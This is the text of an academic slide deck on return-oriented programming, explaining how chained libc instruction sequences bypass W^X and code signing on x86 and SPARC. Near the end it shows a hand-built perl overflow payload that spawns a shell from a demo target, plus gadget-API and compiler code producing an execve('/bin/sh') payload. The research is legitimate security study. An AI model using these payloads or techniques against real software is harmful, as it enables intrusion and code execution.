Return-oriented Programming:
Exploitation without Code Injection

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Bad code versus bad behavior

Attacker code

"Bad" behavior

"Good" behavior

Application code

Problem: this implication is false!
The Return-oriented programming thesis

any sufficiently large program codebase

arbitrary attacker computation and behavior, *without* code injection

(in the absence of control-flow integrity)
Security systems endangered:

- W-xor-X aka DEP
  - Linux, OpenBSD, Windows XP SP2, MacOS X
  - Hardware support: AMD NX bit, Intel XD bit
- Trusted computing
- Code signing: Xbox
- Binary hashing: Tripwire, etc.
- … and others
Return-into-libc and $W^X$
W-xor-X

- Industry response to code injection exploits
- Marks all writeable locations in a process’ address space as nonexecutable
- Deployment: Linux (via PaX patches); OpenBSD; Windows (since XP SP2); OS X (since 10.5); …
- Hardware support: Intel “XD” bit, AMD “NX” bit (and many RISC processors)
Return-into-libc

- Divert control flow of exploited program into libc code
  - system(), printf(), …
- No code injection required

- Perception of return-into-libc: limited, easy to defeat
  - Attacker cannot execute arbitrary code
  - Attacker relies on contents of libc — remove system()

- We show: this perception is false.
The Return-oriented programming thesis: return-into-libc special case

attacker control of stack

arbitrary attacker computation and behavior via return-into-libc techniques

(given any sufficiently large codebase to draw on)
Our return-into-libc generalization

- Gives Turing-complete exploit language
  - exploits aren’t straight-line limited
- Calls no functions at all
  - can’t be defanged by removing functions like system()
- On the x86, uses “found” insn sequences, not code intentionally placed in libc
  - difficult to defeat with compiler/assembler changes
Return-oriented programming

Connect back to attacker while socket not eof
read line
fork, exec named progs

... again:
  mov i(s), ch
cmp ch, '|'  jnz again
  jeq pipe
...

... again:
  mov i(s), ch
cmp ch, '|'  jnz again
  jeq pipe
...

stack:

libc:

load
decr
cmp
jnz
jeq

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Related Work

- Return-into-libc: Solar Designer, 1997
  - Exploitation without code injection
- Return-into-libc chaining with retpop: Nergal, 2001
  - Function returns into another, with or without frame pointer
- Register springs, dark spyrit, 1999
  - Find unintended “jmp %reg” instructions in program text
- Borrowed code chunks, Krahmer 2005
  - Look for short code sequences ending in “ret”
  - Chain together using “ret”
Mounting attack

- Need control of memory around %esp

- Rewrite stack:
  - Buffer overflow on stack
  - Format string vuln to rewrite stack contents

- Move stack:
  - Overwrite saved frame pointer on stack; on leave/ret, move %esp to area under attacker control
  - Overflow function pointer to a register spring for %esp:
    - set or modify %esp from an attacker-controlled register
    - then return
Principles of return-oriented programming
Ordinary programming: the machine level

- Instruction pointer (%eip) determines which instruction to fetch & execute
- Once processor has executed the instruction, it automatically increments %eip to next instruction
- Control flow by changing value of %eip
Return-oriented programming: the machine level

- **Stack pointer** (%esp) determines which instruction sequence to fetch & execute
- Processor doesn’t automatically increment %esp; — but the “ret” at end of each instruction sequence does
No-ops

- No-op instruction does nothing but advance %eip
- Return-oriented equivalent:
  - point to return instruction
  - advances %esp
- Useful in nop sled

C library
ret

Instruction pointer

Stack pointer

nop
nop
nop
Immediate constants

- Instructions can encode constants
- Return-oriented equivalent:
  - Store on the stack;
  - Pop into register to use

mov $0xdeadbeef, %eax  
(bb ef be ad de)

pop %ebx;  ret

0xdeadbeef
Control flow

- **Ordinary programming:**
  - (Conditionally) set %eip to new value

- **Return-oriented equivalent:**
  - (Conditionally) set %esp to new value
Gadgets: multiple instruction sequences

- Sometimes more than one instruction sequence needed to encode logical unit
- Example: load from memory into register:
  - Load address of source word into %eax
  - Load memory at (%eax) into %ebx

(stack pointer)

(19)

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A Gadget Menagerie
Gadget design

- Testbed: libc-2.3.5.so, Fedora Core 4
- Gadgets built from found code sequences:
  - load-store
  - arithmetic & logic
  - control flow
  - system calls
- Challenges:
  - Code sequences are challenging to use:
    - short; perform a small unit of work
    - no standard function prologue/epilogue
    - haphazard interface, not an ABI
  - Some convenient instructions not always available (e.g., lahf)
“The Gadget”: July 1945
Immediate rotate of memory word

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Conditional jumps on the x86

- Many instructions set %eflags
- But the conditional jump insns perturb %eip, not %esp
- Our strategy:
  - Move flags to general-purpose register
  - Compute either \textit{delta} (if flag is 1) or 0 (if flag is 0)
  - Perturb %esp by the computed amount
Conditional jump, phase 1: load CF

(As a side effect, neg sets CF if its argument is nonzero)
Conditional jump, phase 2: store CF to memory

```
%esp

(CF goes here)

0x00000000

movl %ecx, (%edx)
ret

adc %cl, %cl
ret

pop %ecx
pop %edx
ret

26

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```
Computed jump, phase 3: compute \textit{delta-or-zero}

Bitwise and with delta (in \%esi)

2s-complement negation: 0 becomes 0...0; 1 becomes 1...1
Computed jump, phase 4: perturb %esp using computed delta

```
%esp

(perturbation here)

pop %eax
ret
addl (%eax), %esp
addb %al, (%eax)
addb %cl, 0(%eax)
addb %al, (%eax)
ret

addl (%eax), %esp
addb %al, (%eax)
addb %cl, 0(%eax)
addb %al, (%eax)
ret
```
Finding instruction sequences

(on the x86)
Finding instruction sequences

- Any instruction sequence ending in “ret” is useful — could be part of a gadget

- **Algorithmic problem:** recover all sequences of valid instructions from libc that end in a “ret” insn

- Idea: at each ret (c3 byte) look back:
  - are preceding \( i \) bytes a valid length-\( i \) insn?
  - recurse from found instructions

- Collect instruction sequences in a trie
Unintended instructions — ecb_crypt()

movl $0x00000001, -44(%ebp)

add %dh, %bh

test $0x00000007, %edi

movl $0x0F000000, (%edi)

xchg %ebp, %eax

inc%ebp

ret
Is return-oriented programming x86-specific?

(Spoiler: Answer is no.)
Assumptions in original attack

- Register-memory machine
  - Gives plentiful opportunities for accessing memory
- Register-starved
  - Multiple sequences likely to operate on same register
- Instructions are variable-length, unaligned
  - More instruction sequences exist in libc
  - Instructions types not issued by compiler may be available
- Unstructured call/ret ABI
  - Any sequence ending in a return is useful

- True on the x86 … not on RISC architectures
SPARC: the un-x86

- Load-store RISC machine
  - Only a few special instructions access memory
- Register-rich
  - 128 registers; 32 available to any given function
- All instructions 32 bits long; alignment enforced
  - No unintended instructions
- Highly structured calling convention
  - Register windows
  - Stack frames have specific format
Return-oriented programming on SPARC

- Use Solaris 10 libc: 1.3 MB
- New techniques:
  - Use instruction sequences that are suffixes of real functions
  - Dataflow within a gadget:
    - Use structured dataflow to dovetail with calling convention
  - Dataflow between gadgets:
    - Each gadget is memory-memory
- Turing-complete computation!

- Conjecture: Return-oriented programming likely possible on every architecture.
SPARC Architecture

- Registers:
  - %i[0-7], %l[0-7], %o[0-7]
  - Register banks and the “sliding register window”
  - “call; save”;
  - “ret; restore”

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### SPARC Architecture

#### Stack

- **Frame Ptr:** %i6/%fp
- **Stack Ptr:** %o6/%sp
- **Return Addr:** %i7
- **Register save area**

<table>
<thead>
<tr>
<th>Address</th>
<th>Storage</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Low Memory</strong></td>
<td></td>
</tr>
<tr>
<td>%sp</td>
<td>Top of the stack</td>
</tr>
<tr>
<td>%sp - %sp+31</td>
<td>Saved registers %1[0-7]</td>
</tr>
<tr>
<td>%sp+32 - %sp+63</td>
<td>Saved registers %1[0-7]</td>
</tr>
<tr>
<td>%sp+64 - %sp+67</td>
<td>Return struct for next call</td>
</tr>
<tr>
<td>%sp+68 - %sp+91</td>
<td>Outgoing arg. 1-5 space for caller</td>
</tr>
<tr>
<td>%sp+92 - up</td>
<td>Outgoing arg. 6+ for caller (variable)</td>
</tr>
<tr>
<td>%sp+--</td>
<td>Current local variables (variable)</td>
</tr>
<tr>
<td>%fp--</td>
<td></td>
</tr>
<tr>
<td><strong>High Memory</strong></td>
<td></td>
</tr>
<tr>
<td>%fp</td>
<td>Top of the frame (previous %sp)</td>
</tr>
<tr>
<td>%fp - %fp+31</td>
<td>Prev. saved registers %1[0-7]</td>
</tr>
<tr>
<td>%fp+32 - %fp+63</td>
<td>Prev. saved registers %1[0-7]</td>
</tr>
<tr>
<td>%fp+64 - %fp+67</td>
<td>Return struct for current call</td>
</tr>
<tr>
<td>%fp+68 - %fp+91</td>
<td>Incoming arg. 1-5 space for callee</td>
</tr>
<tr>
<td>%fp+92 - up</td>
<td>Incoming arg. 6+ for callee (variable)</td>
</tr>
</tbody>
</table>
Dataflow strategy

- **Via register**
  - On restore, %i registers become %o registers
  - First sequence puts output in %i register
  - Second sequence reads from corresponding %o register

- **Write into stack frame**
  - On restore, spilled %i, %l registers read from stack
  - Earlier sequence writes to spill space for later sequence
Gadget operations implemented

- **Memory**
  - v1 = &v2
  - v1 = *v2
  - *v1 = v2

- **Assignment**
  - v1 = Value
  - v1 = v2

- **Function Calls**
  - call Function

- **System Calls**
  - call syscall with arguments

- **Math**
  - v1 ++
  - v1 --
  - v1 = -v2
  - v1 = v2 + v3
  - v1 = v2 - v3

- **Logic**
  - v1 = v2 & v3
  - v1 = v2 | v3
  - v1 = ~v2
  - v1 = v2 << v3
  - v1 = v2 >> v3

- **Control Flow**
  - BA: jump T1
  - BE: if (v1 == v2):
    - jump T1,
    - else T2
  - BLE: if (v1 <= v2):
    - jump T1,
    - else T2
  - BGE: if (v1 >= v2):
    - jump T1,
    - else T2

- **System Calls**
  - call syscall with arguments

---

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# Gadget: Addition

- $v_1 = v_2 + v_3$

<table>
<thead>
<tr>
<th>Inst. Seq.</th>
<th>Preset</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>$m[%i0] = v_2$</td>
<td>$%17 = &amp;%i0$</td>
<td>$\text{ld } [%i0], %16$</td>
</tr>
<tr>
<td></td>
<td>$(+2 \text{ Frames})$</td>
<td>$\text{st } %16, [%17]$</td>
</tr>
<tr>
<td></td>
<td>$%i0 = &amp;v_2$</td>
<td>$\text{ret}$</td>
</tr>
<tr>
<td></td>
<td></td>
<td>$\text{restore}$</td>
</tr>
<tr>
<td>$m[%i3] = v_3$</td>
<td>$%17 = &amp;%i3$</td>
<td>$\text{ld } [%i0], %16$</td>
</tr>
<tr>
<td></td>
<td>$(+1 \text{ Frame})$</td>
<td>$\text{st } %16, [%17]$</td>
</tr>
<tr>
<td></td>
<td>$%i0 = &amp;v_3$</td>
<td>$\text{ret}$</td>
</tr>
<tr>
<td></td>
<td></td>
<td>$\text{restore}$</td>
</tr>
<tr>
<td>$v_1 = v_2 + v_3$</td>
<td>$%i0 = v_2 \text{ (stored)}$</td>
<td>$\text{add } %i0, %i3, %i5$</td>
</tr>
<tr>
<td></td>
<td>$%i3 = v_3 \text{ (stored)}$</td>
<td>$\text{st } %i5, [%i4]$</td>
</tr>
<tr>
<td></td>
<td>$%i4 = &amp;v_1$</td>
<td>$\text{ret}$</td>
</tr>
<tr>
<td></td>
<td></td>
<td>$\text{restore}$</td>
</tr>
</tbody>
</table>
### Gadget: Branch Equal

**if** (v1 == v2):  
  jump T1  
**else:**  
  jump T2

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</tr>
</thead>
<tbody>
<tr>
<td>m[&amp;%i0] = v1</td>
<td>%17 = &amp;%i0</td>
<td>ld [%i0], %16</td>
</tr>
<tr>
<td></td>
<td>(+2 Frames)</td>
<td>st %16, [%17]</td>
</tr>
<tr>
<td></td>
<td>%i0 = &amp;v1</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
<tr>
<td>m[&amp;%i2] = v2</td>
<td>%17 = &amp;%i2</td>
<td>ld [%i0], %16</td>
</tr>
<tr>
<td></td>
<td>(+1 Frame)</td>
<td>st %16, [%17]</td>
</tr>
<tr>
<td></td>
<td>%i0 = &amp;v2</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
<tr>
<td>(v1 == v2)</td>
<td>%i0 = v1 (stored)</td>
<td>cmp %i0, %i2</td>
</tr>
<tr>
<td></td>
<td>%i2 = v2 (stored)</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
<tr>
<td>if (v1 == v2):</td>
<td>%i0 = T2 (NOT_EQ)</td>
<td>be,a 1 ahead</td>
</tr>
<tr>
<td></td>
<td>%10 = T1 (EQ) - 1</td>
<td>sub %10,%12,%i0</td>
</tr>
<tr>
<td></td>
<td>%12 = -1</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
<tr>
<td>else:</td>
<td>%i0 = T2</td>
<td></td>
</tr>
<tr>
<td>m[&amp;%i6] = %o0</td>
<td>%i3 = &amp;%i6</td>
<td>st %o0, [%i3]</td>
</tr>
<tr>
<td></td>
<td>(+1 Frame)</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
<tr>
<td>jump T1 or T2</td>
<td>%i6 = T1 or T2 (stored)</td>
<td>ret</td>
</tr>
<tr>
<td></td>
<td></td>
<td>restore</td>
</tr>
</tbody>
</table>

**Return-oriented Programming: BH2008**
Option 1: Write your own

- Hand-coded gadget layout

```
linux-x86% ./target `perl
-e 'print "A"x68, pack("c*",
0x3e,0x78,0x03,0x03,0x07,
0x7f,0x02,0x03,0x0b,0x0b,
0x0b,0x0b,0x18,0xff,0xff,
0x4f,0x30,0x7f,0x02,0x03,
0x4f,0x37,0x05,0x03,0xbd,
0xad,0x06,0x03,0x34,0xff,
0xff,0x4f,0x07,0x7f,0x02,
0x03,0x2c,0xff,0xff,0x4f,
0x30,0xff,0xff,0x4f,0x55,
0xd7,0x08,0x03,0x34,0xff,
0xff,0x4f,0xad,0xfb,0xca,
0xde,0x2f,0x62,0x73,0x6e,
0x2f,0x73,0x68,0x0)'`
```

sh-3.1$
Option 2: Gadget API

/* Gadget variable declarations */
g_var_t *num    = g_create_var(&prog, "num");
g_var_t *arg0a  = g_create_var(&prog, "arg0a");
g_var_t *arg0b  = g_create_var(&prog, "arg0b");
g_var_t *arg0Ptr = g_create_var(&prog, "arg0Ptr");
g_var_t *arg1Ptr = g_create_var(&prog, "arg1Ptr");
g_var_t *argvPtr = g_create_var(&prog, "argvPtr");

/* Gadget variable assignments (SYS_execve = 59)*/
g_assign_const(&prog, num, 59);
g_assign_const(&prog, arg0a, strToBytes("/bin"));
g_assign_const(&prog, arg0b, strToBytes("/sh"));
g_assign_addr( &prog, arg0Ptr, arg0a);
g_assign_const(&prog, arg1Ptr, 0x0); /* Null */
g_assign_addr( &prog, argvPtr, arg0Ptr);

/* Trap to execve */
g_syscall(&prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL);
Gadget API compiler

- Describe program to attack:
  ```c
  char *vulnApp = "./demo-vuln"; /* Exec name of vulnerable app. */
  int vulnOffset = 336;       /* Offset to %i7 in overflowed frame. */
  int numVars = 50;          /* Estimate: Number of gadget variables */
  int numSeqs = 100;         /* Estimate: Number of inst. seq's (packed) */
  /* Create and Initialize Program *******************************************/
  init(&prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs);
  ```

- Compiler creates program to exploit vuln app
- Overflow in argv[1]; return-oriented payload in env
- Compiler avoids NUL bytes

(7 gadgets, 20 sequences
336 byte overflow
1280 byte payload)
Option 3: Return-oriented compiler

- Gives high-level interface to gadget API
- Same shellcode as before:

```javascript
var arg0    = "/bin/sh";
var arg0Ptr = &arg0;
var arg1Ptr = 0;

trap(59, &arg0, &(arg0Ptr), NULL);
```
Return-oriented selection sort — I

```c
var i, j, tmp, len = 10;
var* min, p1, p2, a;    // Pointers

srandom(time(0));       // Seed random()
a = malloc(40);         // a[10]
p1 = a;
printf(&("Unsorted Array: \n"));
for (i = 0; i < len; ++i) {
    // Initialize to small random values
    *p1 = random() & 511;
    printf(&("%d, "), *p1);
p1 = p1 + 4;         // p1++
}
```
p1 = a;
for (i = 0; i < (len - 1); ++i) {
    min = p1;
    p2 = p1 + 4;
    for (j = (i + 1); j < len; ++j) {
        if (*p2 < *min) { min = p2; }
        p2 = p2 + 4;    // p2++
    }
    // Swap p1 <-> min
    tmp = *p1; *p1 = *min; *min = tmp;
    p1 = p1 + 4;        // p1++
}
p1 = a;
printf("\nSorted Array: \n");
for (i = 0; i < len; ++i) {
    printf("%d, ", *p1);
    p1 = p1 + 4;       // p1++
}
printf("\n");
free(a);            // Free Memory
Selection sort — compiler output

- 24 KB payload: 152 gadgets, 381 instruction sequences
- No code injection!

```
sparc@sparc # ./SelectionSort

Unsorted Array:
486, 491, 37, 5, 166, 330, 103, 138, 233, 169,

Sorted Array:
5, 37, 103, 138, 166, 169, 233, 330, 486, 491,
```
Wrapping up
Conclusions

- Code injection is not necessary for arbitrary exploitation
- Defenses that distinguish “good code” from “bad code” are useless
- Return-oriented programming likely possible on every architecture, not just x86
- Compilers make sophisticated return-oriented exploits easy to write
Questions?


http://cs.ucsd.edu/~hovav/